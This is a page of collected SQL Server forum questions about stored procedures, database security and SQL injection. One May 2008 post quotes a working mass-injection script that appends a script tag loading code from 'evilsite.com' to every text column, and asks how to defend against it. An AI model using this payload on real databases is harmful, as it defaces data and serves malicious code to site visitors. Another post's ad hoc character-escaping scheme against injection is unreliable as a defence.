Protecting Stored Procedures
Jan 17, 2007
I am creating a .NET application with a SQL database (SQL 2005). The database will be installed at the clients site. I would like to keep them from viewing my Tables, Stored Procedures, etc. I have read several posts on here and no one has given a solution to this, is this possible in SQL?? I am also currently encrypting/decrypting the table data in my SP's but what is to prevent the client from writing an application that accesses my SP's and therefore retrieving the decrypted data??
View 5 Replies
ADVERTISEMENT
Jul 23, 2005
I want to know the differences between SQL Server 2000 storedprocedures and oracle stored procedures? Do they have differentsyntax? The concept should be the same that the stored proceduresexecute in the database server with better performance?Please advise good references for Oracle stored procedures also.thanks!!
View 11 Replies
View Related
Sep 30, 2006
Hi,
This Might be a really simple thing, however we have just installed SQL server 2005 on a new server, and are having difficulties with the set up of the Store Procedures. Every time we try to modify an existing stored procedure it attempts to save it as an SQL file, unlike in 2000 where it saved it as part of the database itself.
Thank you in advance for any help on this matter
View 1 Replies
View Related
Nov 6, 2007
Using SQL 2005, SP2. All of a sudden, whenever I create any stored procedures in the master database, they get created as system stored procedures. Doesn't matter what I name them, and what they do.
For example, even this simple little guy:
CREATE PROCEDURE BOB
AS
PRINT 'BOB'
GO
Gets created as a system stored procedure.
Any ideas what would cause that and/or how to fix it?
Thanks,
Jason
View 16 Replies
View Related
Apr 29, 2008
How do I search for and print all stored procedure names in a particular database? I can use the following query to search and print out all table names in a database. I just need to figure out how to modify the code below to search for stored procedure names. Can anyone help me out?
SELECT TABLE_SCHEMA + '.' + TABLE_NAME
FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_TYPE = 'BASE TABLE'
View 1 Replies
View Related
Jun 13, 2007
Seems like I'm stealing all the threads here, : But I need to learn :) I have a StoredProcedure that needs to return values that other StoredProcedures return.Rather than have my DataAccess layer access the DB multiple times, I would like to call One stored Procedure, and have that stored procedure call the others to get the information I need. I think this way would be more efficient than accessing the DB multiple times. One of my SP is:SELECT I.ItemDetailID, I.ItemDetailStatusID, I.ItemDetailTypeID, I.Archived, I.Expired, I.ExpireDate, I.Deleted, S.Name AS 'StatusName', S.ItemDetailStatusID, S.InProgress as 'StatusInProgress', S.Color AS 'StatusColor',T.[Name] AS 'TypeName', T.Prefix, T.Name AS 'ItemDetailTypeName', T.ItemDetailTypeID FROM [Item].ItemDetails I INNER JOIN Item.ItemDetailStatus S ON I.ItemDetailStatusID = S.ItemDetailStatusID INNER JOIN [Item].ItemDetailTypes T ON I.ItemDetailTypeID = T.ItemDetailTypeID However, I already have StoredProcedures that return the exact same data from the ItemDetailStatus table and ItemDetailTypes table.Would it be better to do it above, and have more code to change when a new column/field is added, or more checks, or do something like:(This is not propper SQL) SELECT I.ItemDetailID, I.ItemDetailStatusID, I.ItemDetailTypeID, I.Archived, I.Expired, I.ExpireDate, I.Deleted, EXEC [Item].ItemDetailStatusInfo I.ItemDetailStatusID, EXEC [Item].ItemDetailTypeInfo I.ItemDetailTypeID FROM [Item].ItemDetails IOr something like that... Any thoughts?
View 3 Replies
View Related
May 13, 2008
Greetings:
I have MSSQL 2005. On earlier versions of MSSQL saving a stored procedure wasn't a confusing action. However, every time I try to save my completed stored procedure (parsed successfully ) I'm prompted to save it as a query on the hard drive.
How do I cause the 'Save' action to add the new stored procedure to my database's list of stored procedures?
Thanks!
View 5 Replies
View Related
Jul 3, 2007
Hello,
I am building a website in ASP.net 2.0 and I want to protect my self from sql Injection.
I am half way there in that I have built my own class that I use to check any input to the Database from a textbox (or user input) for specific characters that cause trouble, such as the “ ‘ � or “;� it then converts them to my own code for example “ ’ � = |^| the same function will convert my “code� back to the original character which works great until I get to Gridviews and Forum View.
Does anyone know how I would access the class I created through the gridview and formview so that any info they display gets first translated through my class.
Or if that is not possible how I would set the grideview or formview to translate the “codes� for me.
If I am totally off track here and there is a much better way to do all this then I am all ears. Please keep in mind I will require the “bad� characters to be saved in some way shape or form.
Thanks
View 3 Replies
View Related
Dec 24, 2004
I have a VB6 program that is using MS-SQL Server 2000. The people using the program can access the database and modify the records. This is fine except for one table.
Is it possible to prevent users from modifying one table (they can still view it) and allowing me and the VB program to acces this table?
View 2 Replies
View Related
Feb 22, 2001
I am currently writing a VB app based around a SQLserver2000 database. I have used stored procedures wherever possible to select/update/delete data. I am planning to distribute this app and wonder whether there are any tricks out there for encrypting/setting security so that even the SA account would be unable to read my stored procedures, but obviously be able to execute them?
There are two scenarios - one is where I want to let someone borrow a laptop just for a few days for a demo. Presumably I just give them an unprivileged user account without interactive logon possibilities, by which I mean Enterprise Manager and the other SQLserver Client tools [can I do this?] and control all access from the app.
The other scenario is when the app is purchased and I no longer have control of the SQL Server nor the SA account.
Any pointers would certainly be very useful indeed. Thanks.
View 1 Replies
View Related
Mar 20, 2007
Andy writes "Good day Gurus!
I have a question regarding how to protect my SQL data. My Material Resource Planning software is built on SQL. There is a problem with my data and possibly a bug in the vendors software. They are asking me to send them my database.
My database contains vendors, customers, pricing partlists and procedures. The advantage of an MRP/ERP system is that the data is all in one place; the disadvantage is that if I send it out to the vendor, they have access to all that I do. This vendor also supports some of my competitors. My concern is that all it would take is one vendor employee to jump ship with my data on a dongle and I could end up completely compromised as a company.
Is there a way of easily or is there software that can leave the significant data in tact but replace the confidential data with meaningless information?
Significant data would be numbers, costs, etc, or data that I choose. Confidential data would be vendors, customers, etc.
It seems to me that this would be a fairly common problem, but I cannot find a solution that is both quick and effective.
Thanks for your collective thoughts.
Andy,"
View 3 Replies
View Related
Apr 7, 2006
We recently upgraded to SQL Server 2005. We had several stored procedures in the master database and, rather than completely rewriting a lot of code, we just recreated these stored procedures in the new master database.
For some reason, some of these stored procedures are getting stored as "System Stored Procedures" rather than just as "Stored Procedures". Queries to sys.Objects and sys.Procedures shows that these procs are being saved with the is_ms_shipped field set to 1, even though they obviously were not shipped with the product.
I can't update the sys.Objects or sys.Procedures views in 2005.
What effect will this flag (is_ms_shipped = 1) have on my stored procedures?
Can I move these out of "System Stored Procedures" and into "Stored Procedures"?
Thanks!
View 24 Replies
View Related
Apr 23, 2008
Hello friends......How are you ? I want to ask you all that how can I do the following ?
I want to now that how many ways are there to do this ?
How can I call one or more stored procedures into perticular one Stored Proc ? in MS SQL Server 2000/05.
View 1 Replies
View Related
Mar 26, 2008
Hello
I'm start to work with SSIS.
We have a lot (many hundreds) of old (SQL Server2000) procedures on SQL 2005.
Most of the Stored Procedures ends with the following commands:
SET @SQLSTRING = 'SELECT * INTO ' + @OutputTableName + ' FROM #RESULTTABLE'
EXEC @RETVAL = sp_executeSQL @SQLSTRING
How can I use SSIS to move the complete #RESULTTABLE to Excel or to a Flat File? (e.g. as a *.csv -File)
I found a way but I think i'ts only a workaround:
1. Write the #Resulttable to DB (changed Prozedure)
2. create data flow task (ole DB Source - Data Conversion - Excel Destination)
Does anyone know a better way to transfer the #RESULTTABLE to Excel or Flat file?
Thanks for an early Answer
Chaepp
View 9 Replies
View Related
Mar 6, 2008
I've been trying to look for information about using an SQL 2005 database with ASP.NET 2.0 - while there are loads of different articles coving configuring a database to use with asp.net, I cannot find anything on securing a sub-folder in my asp.net application. At the moment I am successfully connecting to, and validating users via a login page in my asp.net application, however, this is all pointless since I can still browse to the pages without logging in! I have tried putting in the usual <location> tags in my root web.config file and asp.net throws an error referring to my connection string, I have also tried adding a web.config file to the sub-directory, but that just uses the windows login, and I can't find anything that'll allow me to tie my own login page to it... Arrrgh! Any help will be greatly appreciated!
Thanks in advance.
View 3 Replies
View Related
Jul 23, 2006
I have a database installed on my server, and i have put a database on user "sa" , so when any user wants to view the database he must enter the password to view its content. But i have dicover that if the user make the authentication "Windows Authentication" and opened the database it will be opned without the need to enter the password !!! and for this i cant restrict the access for my database from un-authorized people.
Can any one tell me how i can restrict view database content unless entering the password?
Thaks
View 2 Replies
View Related
Dec 22, 2006
Hello,I wrote some complicated functions (and stored procedures) in databaseat my work. System administrator (and every db user) can view codes(in Enterprise Manager for eg.). My employer needs periodic modifyingof code and so I'm required to do it. But I can loose my job :)because users are able to modify code (althout they ware too lazy tocreate it by themselves).Is this possible to protect functions from view it?[please, don't mind my english]
View 5 Replies
View Related
Jul 20, 2005
Hidoes anyone know of a way of giving developers read only access to adatabase diagram in Enterprise Manager (SQL Server 2000). The database wassupplied by a third party and we don't want them tinkering with it, butthey do need to be able to create additional tables etc. to extend thefunctionality of the package.TIAChloe Crowder
View 2 Replies
View Related
Jul 20, 2005
Hi,I need to provide a facility to do routine database administration(backups, etc.) without allowing the logged in user to modify thedata in any of the SQL server tables. Is there any way to accomplishthis (such as maybe password protecting the tables or otherwise)? I amfairly new to SQL server - so would appreciate any pointers to this.Thanks a ton!Regards,Radha
View 1 Replies
View Related
May 13, 2008
Helloo all,
I would like to gather some thoughts on how to secure my database (running on sql server 2005) from SQL injection , one such as :
Code Snippet
DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
'update [' + @T + '] set [' + @C + '] =
rtrim(convert(varchar,[' + @C + ']))+
''<script src=http://evilsite.com/1.js></script>'''
);
FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;
Basically this statement finds every text column contained in a database and inserts a cross site script into it.
I know this topic has been covered in some depth in articles such as :
MSDN article on SQL injection (http://msdn.microsoft.com/en-us/library/ms161953.aspx)
and on forums a few times.
And the general consensus is to check application code and fix it, which is fine, however we have many legacy systems where it would be too time consuming to fix the problem at the application level.
So the alternative is fix this at the database level.
A possible solution is to isolate the application access to only the objects it uses, and none of the system objects. This should prevent the statement above from running, because it requests access to the sysobjects and syscolumns views. I could implement this by changing the schema for all user objects from dbo to [myAppSchema] and assigning it to my applications database user.
Not particularly elegant but might work, what do you think?
Nigel.
View 4 Replies
View Related
May 1, 2008
I have developed some custom SQL reports that query a major software vendor's SQL Database, and I would like to sell them commercially.
The only problem is that I dont know how to protect them from casual piracy? Ideally I would like to tie them into a uniqueness of the database server eg the machine SID or similar but have no experience of this..
Can anyone recommend a way of commercially protecting the code pleaaaase?
Thanks!
View 3 Replies
View Related
Sep 28, 2007
In SRS is there a simiple way to password protect a report? Or will I need to handle this in ASP?
View 4 Replies
View Related
Aug 26, 2006
I have a Windows Forms 2.0 application with which I am distributing a SQL Express database. I am currently using User Instances. Due to HIPAA requirements, I need to prevent any consumers from accessing the data within the database. Only the application should be able to expose the data. Ideally, I would like to hard code credentials into the compiled code to do this. How can I accomplish this ?
View 1 Replies
View Related
Jun 16, 2007
Hi,
Do you know how to write stored procedures inside another stored procedure in MS SQL.
Create procedure spMyProc inputData varchar(50)
AS
----- some logical
procedure spMyProc inputInsideData varchar(10)
AS
--- some logical
--- go
-------
View 5 Replies
View Related
May 8, 2008
I am writing a set of store procedures (around 30), most of them require the same basic logic to get an ID, I was thinking to add this logic into an stored procedure.
The question is: Would calling an stored procedure from within an stored procedure affect performance? I mean, would it need to create a separate db connection? am I better off copying and pasting the logic into all the store procedures (in terms of performance)?
Thanks in advance
John
View 5 Replies
View Related
Oct 1, 2005
I have several sites which refer to a table in an MS SQL data base on the server.
I'm looking for a good way to check that my tables don't get corrupted
over time. It seems that I can't create a duplicate by selecting the
individual table and going SaveAs..
Can someone point me to the fool proof method that everyone else already uses, please ?
David Morley
View 1 Replies
View Related
Feb 28, 2008
Hi I am using sql server 2005 express and would like to keep all my fields from being both updated and deleted.
In other words, once I create a new record, I would like to have it protected from being deleted and I dont want the field values to be updated/changed from the values initially entered. Is there a way to this without running triggers or changing database permissions and user roles?
I tried making the database read-only, but then of course i cant add new records.
Thanks
View 9 Replies
View Related
May 2, 2008
Lets assume SQL Server 2005 running on Windows 2003 Server, connected to a network but not part of the domain. One application accesses it over the network with one login. Either SQL Server or a local windows login is used for authentication. This would protect SQL Server if the domain was compromised. I can see in normal circumstances domain level logins should be used, but in certain scenerios where the security of the SQL Server box is top would this be a good solution?
Thanks
Danny
View 8 Replies
View Related
Mar 16, 2008
Hello all, I have an app that is distributed to buyers and is registered on a per-computer basis. I am currently using SQL Server 2005. I have created my own registration process in which I can create a registration key file that my app reads to see the maximum # of uses of the app are allowed. I am saving the # of uses in a "keyuses" table. I need to protect this table from the users logging into the server with windows authentication and being able to edit the information in this table. I am used to Firebird, in which the security is totally user based, no windows authentication. You must explicitly grant access to every table for each user, or to the public user that represents every user. Anyways, I am pretty new to SQL server 2005. I know that there must be a way to protect a table from any modification except by a "SQL Authentication" user, which requires a username and password.
Thank you all!
Branden Johnson
View 4 Replies
View Related
Nov 1, 2007
Hi all - I'm trying to optimized my stored procedures to be a bit easier to maintain, and am sure this is possible, not am very unclear on the syntax to doing this correctly. For example, I have a simple stored procedure that takes a string as a parameter, and returns its resolved index that corresponds to a record in my database. ie
exec dbo.DeriveStatusID 'Created'
returns an int value as 1
(performed by "SELECT statusID FROM statusList WHERE statusName= 'Created')
but I also have a second stored procedure that needs to make reference to this procedure first, in order to resolve an id - ie:
exec dbo.AddProduct_Insert 'widget1'
which currently performs:SET @statusID = (SELECT statusID FROM statusList WHERE statusName='Created')INSERT INTO Products (productname, statusID) VALUES (''widget1', @statusID)
I want to simply the insert to perform (in one sproc):
SET @statusID = EXEC deriveStatusID ('Created')INSERT INTO Products (productname, statusID) VALUES (''widget1', @statusID)
This works fine if I call this stored procedure in code first, then pass it to the second stored procedure, but NOT if it is reference in the second stored procedure directly (I end up with an empty value for @statusID in this example).
My actual "Insert" stored procedures are far more complicated, but I am working towards lightening the business logic in my application ( it shouldn't have to pre-vet the data prior to executing a valid insert).
Hopefully this makes some sense - it doesn't seem right to me that this is impossible, and am fairly sure I'm just missing some simple syntax - can anyone assist?
View 1 Replies
View Related
Jul 20, 2005
Does anyone know how I can password protect XP Professional Control Panel?ThanksRonnie
View 1 Replies
View Related
Aug 24, 2005
Dear GroupI'd be grateful if you can give me some advice on the following.An application I wrote uses an MSDE backend and I wonder whetherthere's a way (even for the system administrator) of not seeing ortracing stored procedure code, view and table designs?And I also wonder whether you can advise me on an installer thathandles MSDE and database setup during installation without too mucheffort but is still affordable < USD 1000.Any articles, resources, advice hints for these two topics are veryappreciated.Thank you very much for your help & efforts!Martin
View 3 Replies
View Related
May 15, 2008
i have created the folowing function but keep geting an error.
Only functions and extended stored procedures can be executed from within a function.
Why am i getting this error!
Create Function myDateAdd
(@buildd nvarchar(4), @avdate as nvarchar(25))
Returns nvarchar(25)
as
Begin
declare @ret nvarchar(25)
declare @sqlval as nvarchar(3000)
set @sqlval = 'select ''@ret'' = max(realday) from (
select top '+ @buildd +' realday from v_caltable where realday >= '''+ @avdate +''' and prod = 1 )a'
execute sp_executesql @sqlval
return @ret
end
View 3 Replies
View Related
